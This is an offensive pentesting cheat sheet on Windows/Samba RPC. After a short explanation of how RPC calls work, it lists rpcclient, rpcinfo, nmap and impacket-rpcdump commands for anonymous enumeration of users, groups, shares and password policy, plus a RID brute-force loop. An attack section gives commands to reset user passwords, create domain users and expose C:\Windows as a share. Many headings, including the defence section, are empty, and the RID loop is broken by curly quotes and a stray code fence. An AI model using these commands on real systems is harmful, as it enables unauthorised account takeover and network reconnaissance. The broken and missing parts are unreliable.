Attacking RPC: Deep Dive & Cheat Sheet

Oct 16, 2024    #pentesting   #rpc   #cheatsheet  

Introduction

RPC (Remote Procedure Call) is a protocol that allows a program to execute a procedure or function on another computer as if it were a local call. This cheat sheet provides a comprehensive overview of RPC, including its functionality, security implications, and relevance to penetration testing.

Port Number(s):

RPC over HTTP:

RPC Connection Process (Deep Dive):

Connection:

  1. Client initiates a request to the server:

    • Client prepares the procedure name and parameters.
    • Client stub is invoked, which acts as a proxy for the remote procedure.
  2. Parameters are marshalled (serialized) for transmission:

    • Data is converted into a standardized format (e.g., XDR, Protocol Buffers).
    • Complex data structures are flattened into a byte stream.
  3. Request is sent over the network:

    • The marshalled data is packaged with metadata (e.g., procedure ID, version).
    • Transmission occurs using the underlying network protocol (e.g., TCP/IP).

Execution:

  1. Server receives and unmarshalls the request:

    • Server stub receives the incoming request.
    • Data is deserialized back into a format the server can process.
  2. Server executes the requested procedure:

    • The appropriate local procedure is identified and called.
    • Server performs the requested operation with the provided parameters.

Response

  1. Results are marshalled and sent back to the client:

    • Output data is serialized for network transmission.
    • Response is packaged with any necessary metadata.
  2. Client unmarshalls and processes the results:

    • Client stub receives and deserializes the response.
    • Data is presented to the client application in the expected format.

+Enumerating RPC+

Enumerating RPC using RPCclient:

Connecting with rpcclient using a null/anonymous session:

rpcclient -U "" [ip]
rpcclient -U '%' [ip]

Enumerating users using rpcclient:

# Enumerates domain users: 
enumdomusers
#Query the user RID we have just found above:
queryuser [RID]
#Example
queryuser 0x3e8

Enumerating Domain & Local Groups with rpcclient:

Enumerating Domain alias groups:
#Domain alias Groups:
enumalsgroups domain

#Local Groups:
enumalsgroups builtin
Enumerating Domain Wide Groups:
#Domain Wide Groups:
enumdomgroups

#Query the group of the user above:
querygroup [GroupRID]

#Example
querygroup 0x201

Further Enumeration Using rpcclient:

# Enumerating the whole domain: 
enumdomains

# Enumerate System privileges:
enumprivs

# Retrieve Information about Available Services using rpcclient: 
querydispinfo

# Enumerate Domain Groups using rpcclient: 
enumdomgroups

# Resolve SIDs to Names using rpcclient: 
lookupsids [SID]

# Enumerate System Privileges using rpcclient: 
enumprivs

# Enumerate Shared Resources using rpcclient: 
netshareenum

# List Detailed Information about Shared Resources using rpcclient: 
netshareenumall

# Retrieve Information about a Specific Share using rpcclient: 
netsharegetinfo [sharename]

# Create a New Share using rpcclient: 
netshareadd "C:\path" "sharename" [type] "Description"

# Enumerate Trusted Domains using rpcclient: 
enumtrustdoms

# Enumerate Printers
enumprinters

Enumerate Password Policy using rpcclient:

# Enumerate Specific User Password Policy using rpcclient: 
getusrdompwinfo [UserRID]
getusrdompwinfo 0x46f

Searching for custom RID’s using rpcclient:

for i in $(seq 500 1100); do rpcclient -N -U "" [box] -c “queryuser 0x$(printf ‘%x\n’ $i)” |
grep “User Name|user_rid|group_rid” && echo "" done ```

Explanation of the Command:
Why RID Stop Around 500:

Enumerating RPC using rpcinfo:

rpcinfo [ip/url]
rpcinfo 10.129.203.101

Enumerating RPC using Nmap:

nmap -p 135 --script=msrpc-enum [target]
nmap -p 135 --script=rpc-grind [target]

Enumerating RPC using impacket-rpcdump:

impacket-rpcdump [domain/]username[:password]@target
impacket-rpcdump ./Administrator:[email protected]

+Attacking RPC+

Attacking RPC using rpcclient:

Change a users password using rpcclient:

chgpasswd3 [user] [oldPass] [newPass]
chgpasswd3 n.barley wellbum wellbum14

Create a new user using rpcclient:

createdomuser [username]
setuserinfo2 username 24 [NewPassword]

Create a new share using rpcclient:

netshareadd "C:\[FolderToShare]" "[NameOfShare]" [ShareType] "[ShareDescription]"
netshareadd "C:\Windows" "Windows" 10 "Windows Share"

Remove a Shared Resource using rpcclient:

netshareremove [sharename]

Defending RPC

Common RPC Vulnerabilities:

RPC Protocol Information:

RPC Filtering:

Definition:

Components:

Types:

  1. Synchronous RPC: Client waits for the server to respond.
  2. Asynchronous RPC: Client continues operation without waiting.

Protocols:

Common Uses:

Advantages:

Disadvantages:

Implementation Considerations:

Security Concerns:

Relevance to Penetration Testing:

Common RPC Frameworks:

RPC vs. REST

RPC:

REST:

Further Reading